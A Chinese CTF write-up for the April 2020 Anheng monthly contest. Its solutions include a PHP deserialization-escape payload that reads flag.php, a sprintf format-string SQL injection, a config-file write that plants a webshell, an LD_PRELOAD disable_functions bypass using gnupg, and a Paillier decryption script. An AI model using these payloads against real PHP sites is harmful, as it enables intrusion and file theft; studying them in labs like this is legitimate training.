2020安恒四月月赛部分writeup

MISC

6G还远吗?

边wget边string,flag在文件第一行

WEB

web1

反序列化的时候,会将\0\0\0转为chr(0).'*'.chr(0),长度由6变为3,那么这里便存在反序列化逃逸;我们通过构造使原password字段变成字符串,使其反序列化我们构造的password字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php 

function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b;
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c = 'flag.php';
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

# payload
$username = 'gtflys\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0';
$password = '1234";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}';

$r = new A($username,$password);

echo serialize($r)."\n";
echo write(serialize($r))."\n";
echo read(write(serialize($r)))."\n";

$b = unserialize(read(write(serialize($r))));
//原payload:
//O:1:"A":3:{s:8:"username";s:5:"gtfly";s:8:"password";s:4:"1234";s:2:"ts";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

web2

太菜了没做出来,跟着这位师傅做的走一遍:

https://jiang-niao.github.io/2020/04/25/%E5%AE%89%E6%81%92%E6%9C%88%E8%B5%9B%E5%9B%9B%E6%9C%88wp/#web2

登录页面提示:

select * from user where user='$user' and passwd='%s'

fuzz发现过滤了:

/ \ '

那么可利用格式化字符串,将$user后面的那个单引号吃掉,便可进行注入。

https://blog.csdn.net/weixin_41185953/article/details/80485075

比如

echo sprintf('hello%1$\'','gtfly'); //输出 hello

正常情况下,%1$s是用来指定格式化字符位置为1,类型为字符串,但上面$后面没有跟要渲染的类型,因此会判断$'不存在,便会在格式化的时候置空,达到吞到单引号的目的

对于这道题:

1
2
3
$passwd = '^0#';
$sql = sprintf('select * from user where user=\'%1$\' and passwd=\'%s\'', $passwd);
echo $sql;

其输出结果为:

select * from user where user='nd passwd='^0#'

便会查出数据库中所有以字母开头的用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Your sandbox: ./shells/N2d6gGGkG2U2UZ2D/ set your shell
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>

这两位大师傅解释的很详细:

https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

https://www.smi1e.top/%e5%b0%8f%e5%af%86%e5%9c%88%e7%bb%8f%e5%85%b8%e5%86%99%e9%85%8d%e7%bd%ae%e6%bc%8f%e6%b4%9e%e4%b8%8e%e5%87%a0%e7%a7%8d%e5%8f%98%e5%bd%a2%e5%ad%a6%e4%b9%a0/

之后bypass disable functions,使用LD_Preload,mail被过滤了,使用gnupg()开始新的系统调用,修改bypass_disablefunc.php:

1
2
//mail("", "", "", "");
$gpg = new gnupg();

https://www.anquanke.com/post/id/197745?from=singlemessage#h2-13

CRYPTO

not_RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse
from secret import flag,p,q
from sympy import isprime,nextprime
import random

m=bytes_to_long(flag)
n=p*q
g=n+1
r=random.randint(1,n)

c=(pow(g,m,n*n)*pow(r,n,n*n))%(n*n)

print "c=%d"%(c)
print "n=%d"%(n)

'''
c=29088911054711509252215615231015162998042579425917914434962376243477176757448053722602422672251758332052330100944900171067962180230120924963561223495629695702541446456981441239486190458125750543542379899722558637306740763104274377031599875275807723323394379557227060332005571272240560453811389162371812183549
n=6401013954612445818165507289870580041358569258817613282142852881965884799988941535910939664068503367303343695466899335792545332690862283029809823423608093
'''
c = ((n+1)^m * r^n) % (n*n)

Paillier cryptosystem

脚本:

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
p = 80006336965345725157774618059504992841841040207998249416678435780577798937819
q = 80006336965345725157774618059504992841841040207998249416678435780577798937447
n = p * q
c = 29088911054711509252215615231015162998042579425917914434962376243477176757448053722602422672251758332052330100944900171067962180230120924963561223495629695702541446456981441239486190458125750543542379899722558637306740763104274377031599875275807723323394379557227060332005571272240560453811389162371812183549
lcm = ((p - 1) * (q - 1)) // GCD(p - 1, q - 1)
a = (pow(c, lcm, n * n) - 1) // n
b = (pow(n + 1, lcm, n * n) - 1) // n
m = long_to_bytes((a * inverse(b, n)) % n)
print(m)